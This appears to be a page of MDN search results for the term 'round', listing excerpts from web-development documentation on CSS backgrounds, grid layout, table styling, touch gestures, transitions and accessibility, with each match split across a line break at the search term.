round-color:#666; } the video controls container itself also needs some styling so that it is set up the correct way: .controls { width:100%; height:8.0971659919028340080971659919028%; /* of figure's height */ position:relative; } the height of the .controls class is set to be (a very precise!) percentage of the enclosing <figure> element (this was worked out with experimentation based on t...
... each button has some basic styling: .controls button { border:none; cursor:pointer; backg
round:transparent; backg
round-size:contain; backg
round-repeat:no-repeat; } by default, all <button> elements have a border, so this is removed.
... since backg
round images will be used to display appropriate icons, the backg
round colour of the button is set to be transparent, non-repeated, and the element should fully contain the image.
...And 8 more matches
Creating a Skin - Archive of obsolete content
window > box { backg
round-color: #0088cc; } menubar,menupopup,toolbar,tabpanels { backg
round-color: lightblue; border-top: 1px solid white; border-bottom: 1px solid #666666; border-left: 1px solid white; border-right: 1px solid #666666; } caption { backg
round-color: lightblue; } the inner box of the window (which actually sur
rounds all of the window content) has been changed to have a medium blue color...
... the border a
round these four elements has been changed to give a heavier 3d appearance.
... the backg
round color of the caption has also been changed to match the backg
round.
...And 7 more matches
Styling lists - Learn web development
handling list spacing when styling lists, you need to adjust their styles so they keep the same vertical spacing as their sur
rounding elements (such as paragraphs and images; sometimes called vertical rhythm), and the same horizontal spacing as each other (you can see the finished styled example on github, and find the source code too.) the css used for the text styling and spacing is as follows: /* general styles */ html { font-family: helvetica, arial, sans-serif; font-size: 10px; } h2 { font-size: 2rem; } ul,ol...
...you are better off using the backg
round family of properties, which you've learned in the backg
rounds and borders article.
... in our finished example, we have styled the unordered list like so (on top of what you've already seen above): ul { padding-left: 2rem; list-style-type: none; } ul li { padding-left: 2rem; backg
round-image: url(star.svg); backg
round-position: 0 0; backg
round-size: 1.6rem 1.6rem; backg
round-repeat: no-repeat; } here we've done the following: set the padding-left of the <ul> down from the default 40px to 20px, then set the same amount on the list items.
...And 7 more matches
HTML table basics - Learn web development
go into your html, and change all the <td> elements sur
rounding the table headers into <th> elements.
... note: styling columns like this is limited to a few properties: border, backg
round, width, and visibility.
... take the following simple example: <table> <tr> <th>data 1</th> <th style="backg
round-color: yellow">data 2</th> </tr> <tr> <td>calcutta</td> <td style="backg
round-color: yellow">orange</td> </tr> <tr> <td>robots</td> <td style="backg
round-color: yellow">jazz</td> </tr> </table> which gives us the following result: data 1 data 2 calcutta orange robots jazz this isn't ideal, as we have to repeat the styling information across all three cells in the column (we'd probably have a class set on all three in a real project and specify the styling in a separate stylesheet).
...And 7 more matches
Drawing graphics - Learn web development
graphics on the web as we talked about in our html multimedia and embedding module, the web was originally just text, which was very boring, so images were introduced — first via the <img> element and later via css properties such as backg
round-image, and svg.
... the situation started to improve when browsers began to support the <canvas> element and associated canvas api — apple invented it in a
round 2004, and other browsers followed by implementing it in the years that followed.
... the below example shows a simple 2d canvas-based bouncing balls animation that we originally met in our introducing javascript objects module: a
round 2006–2007, mozilla started work on an experimental 3d canvas implementation.
...And 7 more matches
Handling common HTML and CSS problems - Learn web development
to ensure this doesn't happen, you need to research the tools you are using first and design your code a
round them.
...in general, most core html and css functionality (such as basic html elements, css basic colors and text styling) works across most browsers you'll want to support; more problems are uncovered when you start wanting to use newer features such as flexbox, or html5 video/audio, or even more nascent, css grids or -webkit-backg
round-clip: text.
... backg
round-color: #ff0000; backg
round-color: rgba(255,0,0,1); box-shadow: inset 1px 1px 3px rgba(255,255,255,0.4), inset -1px -1px 3px rgba(0,0,0,0.4); } button:hover { backg
round-color: rgba(255,0,0,0.5); } button:active { box-shadow: inset 1px 1px 3px rgba(0,0,0,0.4), inset -1px -1px 3px rgba(255,255,255,0.4); } here we are providing an rgba backg
round-color that cha...
...And 7 more matches
AudioNode.channelInterpretation - Web APIs
the m input channel is used for non-sur
round output channels (l and r).
... sur
round output channels (sl and sr) are silent.
... the l and r input channels are used for their non-sur
round respective output channels (l and r).
...And 7 more matches
Document.execCommand() - Web APIs
commands backcolor changes the document backg
round color.
... in stylewithcss mode, it affects the backg
round color of the containing block instead.
...note that internet explorer uses this to set the text backg
round color.
...And 7 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
or go for a very clean approach based on the ie html conditional feature: <!--[if lte ie 9]><script> (function(f){ window.settimeout=f(window.settimeout); window.setinterval=f(window.setinterval); })(function(f){return function(c,t){ var a=[].slice.call(arguments,2);return f(function(){c instanceof function?c.apply(this,a):eval(c)},t)} }); </script><![endif]--> worka
rounds another possibility is to use an anonymous function to call your callback, but this solution is a bit more expensive.
... timeouts in inactive tabs throttled to ≥ 1000ms to reduce the load (and associated battery usage) from backg
round tabs, timeouts are throttled to firing no more often than once per second (1,000 ms) in inactive tabs.
... firefox implements this behavior since version 5 (see bug 633421, the 1000ms constant can be tweaked through the dom.min_backg
round_timeout_value preference).
...And 7 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
.wrapper { display: grid; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } all the direct children are now grid items.
... <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: 200px 200px 200px; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } the fr unit tracks can be defined using any length unit.
... <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } in this next example, we create a definition with a 2fr track then two 1fr tracks.
...And 7 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> ...
...one of the very nice things about grid layout is this ability to have white space in our designs without having to push things a
round using margins to prevent floats from rising up into the space we have left.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> </div> .box1 { grid-column-start: 1; grid-column-end: 2; grid-row-start: 1; grid-row-end: 4; } .box2 { grid-column-start: 3; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box3 { grid-column-start: 2; grid-column-end: 3; grid-r...
...And 7 more matches
Styling a Tree - Archive of obsolete content
let's say we want a particular row to have a blue backg
round color.
...the following is the syntax that needs to be used: treechildren::-moz-tree-row(makeitblue) { backg
round-color: blue; } this style which has a complex selector is used to style the backg
round color of rows that have the 'makeitblue' property.
...this style rule means, inside a treechildren element, set the backg
round color to blue for all tree rows that have the 'makeitblue' property.
...And 6 more matches
Theme changes in Firefox 2 - Archive of obsolete content
browser/search-bar-backg
round-mid.png new file; the backg
round for the middle part of the search bar.
... browser/search-bar-backg
round.png removed file.
... browser/search-provider-bkgnd-rtl.png new file; the backg
round drawn behind the search provider icon when it's located at the left end of the search bar.
...And 6 more matches
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
it's a well-known maxim that if you stick a
round long enough, you get a chance to see the tides of history turn.
... if you're lucky, you get to ride the surf that second time a
round without being knocked over by the waves.
...to put that in perspective, i remember when the fish cam page first appeared and word of it circulated a
round the internet.
...And 6 more matches
Styling tables - Learn web development
by default, when you set borders on table elements, they will all have spacing between them, as the below image illustrates: this doesn't look very nice (although it might be the look you want, who knows?) with border-collapse: collapse; set, the borders collapse down into one, which looks much better: we've put a border a
round the whole table, which is needed because we'll be putting some borders
round the table header and footer later on — it looks really odd and disjointed when you don't have a border
round the whole outside of the table and end up with gaps.
... start by adding the following css to your style.css file, again at the bottom: /* graphics and colors */ thead, tfoot { backg
round: url(leopardskin.jpg); color: white; text-shadow: 1px 1px 1px black; } thead th, tfoot th, tfoot td { backg
round: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5)); border: 3px solid purple; } again, there's nothing specific to tables here, but it is worthwhile to note a few things.
... we've added a backg
round-image to the <thead> and <tfoot>, and changed the color of all the text inside the header and footer to white (and given it a text-shadow) so it is readable.
...And 6 more matches
Theme concepts
add the theme image file to the folder: <mytheme> <your_header_image>.<type> create a file called manifest.json in the folder and edit its content as follows: { "manifest_version": 2, "version": "1.0", "name": "<your_theme_name>", "theme": { "images": { "theme_frame": "<your_header_image>.<type>" }, "colors": { "frame": "#ffffff", "tab_backg
round_text": "#000" } } } where: "frame": is the heading area backg
round color for your theme.
... "tab_backg
round_text": the color of the text in the heading area.
...however, rather than creating a very wide image, a better approach is to use a narrower image with a transparent left edge so that it fades to the backg
round color.
...And 6 more matches
Multithreading in Necko
in the future, necko may be made thread safe to support changes to gecko that would put some other processing work on backg
round threads (eg.
...however, most necko protocols utilize backg
round threads.
... backg
round threads are used to manage all i/o operations (with the exception of few cases).
...And 6 more matches
Intersection Observer API - Web APIs
one thing the intersection observer api can't tell you: the exact number of pixels that overlap or specifically which ones they are; however, it covers the much more common use case of "if they intersect by somewhere a
round n%, i need to do something." intersection observer concepts and usage the intersection observer api allows you to configure a callback that is called: (1) whenever one element, called the target, intersects either the device viewport or a specified element; for the purpose of this api, this is called the root element or root (2) and whenever the observer is asked to watch a target for the ver...
... rootmargin margin a
round the root.
... to get a feeling for how thresholds work, try scrolling the box below a
round.
...And 6 more matches
Multi-touch interaction - Web APIs
<style> div { margin: 0em; padding: 2em; } #target1 { backg
round: white; border: 1px solid black; } #target2 { backg
round: white; border: 1px solid black; } #target3 { backg
round: white; border: 1px solid black; } </style> global state to support multi-touch interaction, preserving a pointer's event state during various event phases is required.
... in this application, when a pointer is placed down on an element, the backg
round color of the element changes, depending on the number of active touch points the element has.
... see the update_backg
round function for more details about the color changes.
...And 6 more matches
Pinch zoom gestures - Web APIs
the pinch in (zoom out) gesture, which moves the two pointers toward each other, changes the target element's backg
round color to lightblue.
... the pinch out (zoom in) gesture, which moves the two pointers away from each other, changes the target element's backg
round color to pink.
... <style> div { margin: 0em; padding: 2em; } #target { backg
round: white; border: 1px solid black; } </style> global state supporting a two-pointer gesture requires preserving a pointer's event state during various event phases.
...And 6 more matches
Multi-touch interaction - Web APIs
<style> div { margin: 0em; padding: 2em; } #target1 { backg
round: white; border: 1px solid black; } #target2 { backg
round: white; border: 1px solid black; } #target3 { backg
round: white; border: 1px solid black; } #target4 { backg
round: white; border: 1px solid black; } </style> global state tpcache is used to cache touch points for processing outside of the event where they were fired.
...rdinates var diff1 = math.abs(tpcache[point1].clientx - ev.targettouches[0].clientx); var diff2 = math.abs(tpcache[point2].clientx - ev.targettouches[1].clientx); // this threshold is device dependent as well as application specific var pinch_threshhold = ev.target.clientwidth / 10; if (diff1 >= pinch_threshhold && diff2 >= pinch_threshhold) ev.target.style.backg
round = "green"; } else { // empty tpcache tpcache = new array(); } } } touch start handler the touchstart event handler caches touch points to support 2-touch gestures.
... ev.preventdefault(); // cache the touch points for later processing of 2-touch pinch/zoom if (ev.targettouches.length == 2) { for (var i=0; i < ev.targettouches.length; i++) { tpcache.push(ev.targettouches[i]); } } if (logevents) log("touchstart", ev, true); update_backg
round(ev); } touch move handler the touchmove handler calls preventdefault() for the same reason mentioned above, and invokes the pinch/zoom handler.
...And 6 more matches
WebGL best practices - Web APIs
geterror(): causes a flush +
round-trip to fetch errors from the gpu process).
... getshader/programparameter(), getshader/programinfolog(), other gets on shaders/programs: flush + shader compile +
round-trip, if not done after shader compilation is complete.
... (see also parallel shader compilation below.) get*parameter() in general: possible flush +
round-trip.
...And 6 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
in this article, we'll make use of information introduced in the previous articles in our webxr tutorial series to construct an example which animates a rotating cube a
round which the user can move freely using a vr headset, keyboard, and/or mouse.
...greespersecond = 25; const yrotationdegreespersecond = 15; const zrotationdegreespersecond = 35; const enablerotation = true; const allowmouserotation = true; const allowkeyboardmotion = true; const enableforcepolyfill = false; //const session_type = "immersive-vr"; const session_type = "inline"; const mouse_speed = 0.003; xrotationdegreespersecond the number of degrees of rotation to apply a
round the x axis per second.
... yrotationdegreespersecond the number of degrees to rotate a
round the y axis each second.
...And 6 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
font size, font style (some fonts are so thin or fancy that they present accessibility problems on their own), backg
round color, the size of the backg
round space a
round the text, even pixel densities and more all affect how color is delivered from the screen.
... (see understanding success criterion 1.4.3: contrast) a viewer's distance from the screen, the ambient backg
round, the health of his eyes, and more all affect how that color is received by the viewer.
... another important point to consider is the ambience of light sur
rounding the color.
...And 6 more matches
Perceivable - Accessibility
decorative images should be implemented using css backg
round images (see backg
rounds).
... if you are including backg
round video or audio that autoplays, make it as unobtrusive as possible.
...so, for example: "click the
round button to continue" the button should be clearly labelled so that it is obvious that it is the button you need to press.
...And 6 more matches
-moz-image-rect - CSS: Cascading Style Sheets
the -moz-image-rect value for css backg
round-image lets you use a portion of a larger image as a backg
round.
... description this property allows you to, for example, use different parts of one larger image as backg
rounds in different parts of your content.
...however, this can be used for any css backg
round.
...And 6 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
if we position an item using absolute positioning, we use these physical keywords as offset values to push the item a
round.
...the other properties will change the way that text flows in our document, matching the different writing modes found a
round the world.
... .wrapper > p { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; margin: 1em; color: #d9480f; max-width: 300px; } <div class="wrapper"> <p style="writing-mode: horizontal-tb">i have writing mode set to the default <code>horizontal-tb</code></p> <p style="writing-mode: vertical-rl">i have writing mode set to <code>vertical-rl</code></p> </div> writing modes in grid layouts if we now take a look at a gr...
...And 6 more matches
Grid template areas - CSS: Cascading Style Sheets
.wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "sd sd sd main main main main main main" "ft ft ft ft ft ft ft ft ft"; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="header">header</div> <div class="sidebar">sidebar</div> <div class="content">content</div> <div class="footer">footer</div> </div> using...
... .header { grid-area: hd; } .footer { grid-area: ft; } .content { grid-area: main; } .sidebar { grid-area: sd; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "s...
... .header { grid-area: hd; } .footer { grid-area: ft; } .content { grid-area: main; } .sidebar { grid-area: sd; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "s...
...And 6 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } when defining the grid, i name my lines inside square brackets.
... while you can choose any name, if you append -start and -end to the lines a
round an area, as i have in the example above, grid will create you a named area of the main name used.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } i’m using the same grid definitions as above, however this time i am going to place a single item into the named area content.
...And 6 more matches
<feComposite> - SVG: Scalable Vector Graphics
30" height="195" viewbox="0 0 1100 650" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>example fecomposite - examples of fecomposite operations</title> <desc>four rows of six pairs of overlapping triangles depicting the six different fecomposite operators under different opacity values and different clearing of the backg
round.</desc> <defs> <desc>define two sets of six filters for each of the six compositing operators.
... the first set wipes out the backg
round image by flooding with opaque white.
... the second set does not wipe out the backg
round, with the result that the backg
round sometimes shines through and is other cases is blended into itself (i.e., "double-counting").</desc> <filter id="overflood" filterunits="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood flood-color="#ffffff" flood-opacity="1" result="flood"/> <fecomposite in="sourcegraphic" in2="backg
roundimage" operator="over" result="comp"/> <femerge> <femergenode in="flood"/> <femergenode in="comp"/> </femerge> </filter> <filter id="inflood" filterunits="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood flood-color="#ffffff" flood-opacity="1" result="flood"/> <fecomposite in="sourcegraphic" in2="backg
roundima...
...And 6 more matches
Images, Tables, and Mysterious Gaps - Archive of obsolete content
the components let's take a close look at the breeding g
round for trouble, and why this is a problem.
...instead of "shrinkwrapping" the image itself, the browser is now wrapping a
round the line in which the image sits.
...in the simplest case, we might add a style like this: td img {display: block;} consider this rule when applied to the following markup: <table cellspacing="0" cellpadding="0" border="0" width="500"> <tr><td><img src="nav1.gif"><img src="nav2.gif"><img src="nav3.gif"><img src="nav4.gif"><img src="nav5.gif"></td></tr> <tr><td style="backg
round: red;"> <img src="smallred.gif" height="1" width="1"></td></tr> <tr><td> <p style="margin: 0.5em;">this is text in another cell of the table.
...And 5 more matches
CSS and JavaScript accessibility best practices - Learn web development
your text color should contrast well with your backg
round color.
... links hyperlinks — the way you get to new places on the web: <p>visit the <a href="https://www.mozilla.org">mozilla homepage</a>.</p> some very simple link styling is shown below: a { color: #ff0000; } a:hover, a:visited, a:focus { color: #a60000; text-decoration: none; } a:active { color: #000000; backg
round-color: #a60000; } the standard link conventions are underlined and a different color (default: blue) in their standard state, another color variation when the link has previously been visited (default: purple), and yet another color when the link is activated (default: red).
... color and color contrast when choosing a color scheme for your website, make sure that the text (foreg
round) color contrasts well with the backg
round color.
...And 5 more matches
Practical positioning examples - Learn web development
add the following css: .info-box li { float: left; list-style-type: none; width: 150px; } .info-box li a { display: inline-block; text-decoration: none; width: 100%; line-height: 3; backg
round-color: red; color: black; text-align: center; } finally for this section we'll set some styles on the link states.
...place the following css below your other styles: .info-box li a:focus, .info-box li a:hover { backg
round-color: #a60000; color: white; } .info-box li a.active { backg
round-color: #a60000; color: white; } styling the panels the next job is to style our panels.
...the rule also gives the panels the same set height as the container, and gives the content some padding, a text color, and a backg
round-color.
...And 5 more matches
How can we design for all types of users? - Learn web development
dig deeper color contrast to keep your text readable, use a text color that contrasts well with the backg
round color.
... the w3c defines a good color mix with an algorithm that calculates luminosity ratio between foreg
round and backg
round.
... for instance, let's test the colors on this page and see how we fare in the colour contrast analyser: the luminosity contrast ratio between text and backg
round is 8.30:1, which exceeds the minimum standard (4.5:1) and should enable many visually-impaired people to read this page.
...And 5 more matches
Advanced text formatting - Learn web development
this is usually a feeling, thought or piece of additional backg
round information description lists use a different wrapper than the other list types — <dl>; in addition each term is wrapped in a <dt> (description term) element, and each description is wrapped in a <dd> (description definition) element.
...this is usually a feeling, thought, or piece of additional backg
round information.</dd> </dl> the browser default styles will display description lists with the descriptions indented somewhat from the terms.
...this is usually a feeling, thought, or piece of additional backg
round information.</dd> <dd>in writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)</dd> </dl> active learning: marking up a set of definitions it's time to try your hand at description lists; add elements to the raw text in the input field so that it appears as a description list in the output field.
...And 5 more matches
Manipulating documents - Learn web development
you might think that such limitations are a bad thing, but browsers are locked down for good reasons, mostly centering a
round security.
...ragraph using document.createelement() and give it some text content in the same way as before: const para = document.createelement('p'); para.textcontent = 'we hope you enjoyed the ride.'; you can now append the new paragraph at the end of the section using node.appendchild(): sect.appendchild(para); finally for this part, let's add a text node to the paragraph the link sits inside, to
round off the sentence nicely.
... as an example, try adding these lines to our ongoing example: para.style.color = 'white'; para.style.backg
roundcolor = 'black'; para.style.padding = '10px'; para.style.width = '250px'; para.style.textalign = 'center'; reload the page and you'll see that the styles have been applied to the paragraph.
...And 5 more matches
Handling common JavaScript problems - Learn web development
this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work a
round problems, getting modern javascript features working in older browsers, and more.
...jquery (or whatever library you are using) will then handle the differences in the backg
round, so you don't have to.
...the library will manipulate appropriate apis in the backg
round so the functionality will work whatever the browser (in theory).
...And 5 more matches
Embedding API for Accessibility
there are many other pieces, such as preferences to allow the user to change foreg
round and backg
round colors, and font sizes.
... setboolpref("browser.use_system_fonts", usesystemfonts); no colors for page setcharpref("browser.display.foreg
round_color", "#abcdef" /* hex color value */); setcharpref("browser.display.backg
round_color", "#abcdef" /* hex color value */); setboolpref("browser.display.use_system_colors", boolsystemcolors); setboolpref("browser.display.use_document_colors", booluseauthorcolors); /* setting use_document_colors also stops ...
...backg
round images from loading */ moz 0.8 link appearance setcharpref("browser.anchor_color", "#abcdef" /* hex color value */); setcharpref("browser.visited_color", "#abcdef" /* hex color value */); setboolpref("browser.underline_anchors", boolunderlinelinks); moz 0.8 focus appearance setboolpref("browser.display.use_focus_colors", usefocuscolors); setcharpref("browser.display.focus_backg
round_color", colorstring); setcharpref("browser.display.focus_text_color", colorstring); setcharpref("browser.display.focus_ring_width", numpixels); /* 0-4 ...
...And 5 more matches
nsIDOMWindowUtils
at ay, in float atopsize, in float arightsize, in float abottomsize, in float aleftsize, in boolean aignorerootscrollframe, in boolean aflushlayout); void processupdates(); obsolete since gecko 13.0 void purgepccounts(); unsigned long redraw([optional] in unsigned long acount); void renderdocument(in nsconstrect arect, in pruint32 aflags, in nscolor abackg
roundcolor, in gfxcontext athebescontext); native code only!
... this is used on mobile, for example, to prevent attempts to render content until enough of the page has been loaded to avoid content bouncing a
round excessively as more content is loaded.
... native code only!renderdocument void renderdocument( in nsconstrect arect, in pruint32 aflags, in nscolor abackg
roundcolor, in gfxcontext athebescontext ); parameters arect aflags abackg
roundcolor athebescontext resumetimeouts() resumes timeouts on this window and its descendant windows.
...And 5 more matches
Document.mozSetImageElement() - Web APIs
the document.mozsetimageelement() method changes the element being used as the css backg
round for a backg
round with a given backg
round element id.
... syntax document.mozsetimageelement(imageelementid, imageelement); parameters imageelementid is a string indicating the name of an element that has been specified as a backg
round image using the -moz-element css function.
... imageelement is the new element to use as the backg
round corresponding to that image element string.
...And 5 more matches
msAudioCategory - Web APIs
msaudiocategory specifies the purpose of the audio or video media, such as backg
round audio or alerts.
... syntax <audio controls="controls" msaudiocategory="backg
roundcapablemedia"> </audio> the msaudiocategory property offers a variety of values that can enhance the behavior of your audio-aware app.
... value description backg
round capable?
...And 5 more matches
Using the Web Speech API - Web APIs
when the screen is tapped/clicked, you can say an html color keyword, and the app's backg
round color will change to that color.
... browser support support for web speech api speech recognition is curently limited to chrome for desktop and android — chrome has supported it since a
round version 33 but with prefixed interfaces, so you need to include prefixed versions of them, e.g.
... <h1>speech color changer</h1> <p>tap/click then say a color to change the backg
round color of the app.</p> <div> <p class="output"><em>...diagnostic messages</em></p> </div> the css provides a very simple responsive styling so that it looks ok across devices.
...And 5 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
myth: msaa is too slow reality: assistive technology vendors have found ways a
round most of the performance problems related to out-of-process com method calls.
...there's a very good chance they won't ask for more than the events marked [important]: event_system_sound event_system_alert [can be important, to have auto-speaking for newly created role_alerts] event_system_foreg
round event_system_menustart [important] event_system_menuend [important] event_system_menupopupstart [important] event_system_menupopupend [important] event_system_capturestart event_system_captureend event_system_movesizestart event_system_movesizeend event_system_contexthelpstart event_system_contexthelpend event_system_dragdropstart event_system_dragd...
...here are some of it's quirks and some solutions/worka
rounds: msaa can be crash prone problem: many of msaa's crash occur because more than one process is refcounting the same objects, and because pointers are being shared between processes.
...And 5 more matches
color-adjust - CSS: Cascading Style Sheets
for example, when printing, a browser might opt to leave out all backg
round images and to adjust text colors to be sure the contrast is optimized for reading on white paper.
...for example, a page might include a list of information with rows whose backg
round colors alternate between white and a light grey.
... removing the backg
round color would decrease the legibility of the content.
...And 5 more matches
mix-blend-mode - CSS: Cascading Style Sheets
the mix-blend-mode css property sets how an element's content should blend with the content of the element's parent and the element's backg
round.
... contextyes formal syntax <blend-mode>where <blend-mode> = normal | multiply | screen | overlay | darken | lighten | color-dodge | color-burn | hard-light | soft-light | difference | exclusion | hue | saturation | color | luminosity examples effect of different mix-blend-mode values <div class="grid"> <div class="col"> <div class="note">blending in isolation (no blending with the backg
round)</div> <div class="row isolate"> <div class="cell"> normal <div class="container normal"> <div class="group"> <div class="item firefox"></div> <svg viewbox="0 0 150 150"> <defs> <lineargradient id="red"> <stop offset="0" stop-color="hsl(0,100%,50%)" /> <stop offset="100%" stop-...
...wbox="0 0 150 150"> <ellipse class="item r" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item g" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item b" cx="75" cy="75" rx="25" ry="70"></ellipse> </svg> </div> </div> </div> </div> <div class="note">blending globally (blend with the backg
round)</div> <div class="row"> <div class="cell"> normal <div class="container normal"> <div class="group"> <div class="item firefox"></div> <svg viewbox="0 0 150 150"> <ellipse class="item r" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse class="item g" cx="75" cy="75" rx="25" ry="70"></ellipse> <ellipse...
...And 5 more matches
transition-delay - CSS: Cascading Style Sheets
formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples transition-delay: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; backg
round-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height backg
round-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:0.5s; -webkit-transition-timing-function: linear; transition-property: width height backg
round-color font-size left top color; transition-duration:2...
...s; transition-delay:0.5s; transition-timing-function: linear; } .box1{ width: 50px; height: 50px; backg
round-color: blue; color: yellow; font-size: 18px; left: 150px; top:25px; position:absolute; -webkit-transition-property: width height backg
round-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:0.5s; -webkit-transition-timing-function: linear; transition-property: width height backg
round-color font-size left top color; transition-duration:2s; transition-delay:0.5s; transition-timing-function: linear; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.c...
...lassname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-delay: 1s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; backg
round-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height backg
round-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:1s; -webkit-transition-timing-function: linear; transition-property: width height backg
round-color font-size left top color; transition-duration:2s; transition-delay:1s; transition-timing-function: linear; } .box1{ width: 50px; height: 50px; ...
...And 5 more matches
transition-duration - CSS: Cascading Style Sheets
formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples transition-duration: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; backg
round-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height backg
round-color font-size left top transform -webkit-transform color; -webkit-transition-duration:0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height backg
round-color font-size left top transform -webkit-transform colo...
...r; transition-duration:0.5s; transition-timing-function: ease-in-out; } .box1{ transform: rotate(270deg); -webkit-transform: rotate(270deg); width: 50px; height: 50px; backg
round-color: blue; color: yellow; font-size: 18px; left: 150px; top:25px; position:absolute; -webkit-transition-property: width height backg
round-color font-size left top transform -webkit-transform color; -webkit-transition-duration:0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height backg
round-color font-size left top transform -webkit-transformv color; transition-duration:0.5s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { e...
...l.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-duration: 1s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; backg
round-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height backg
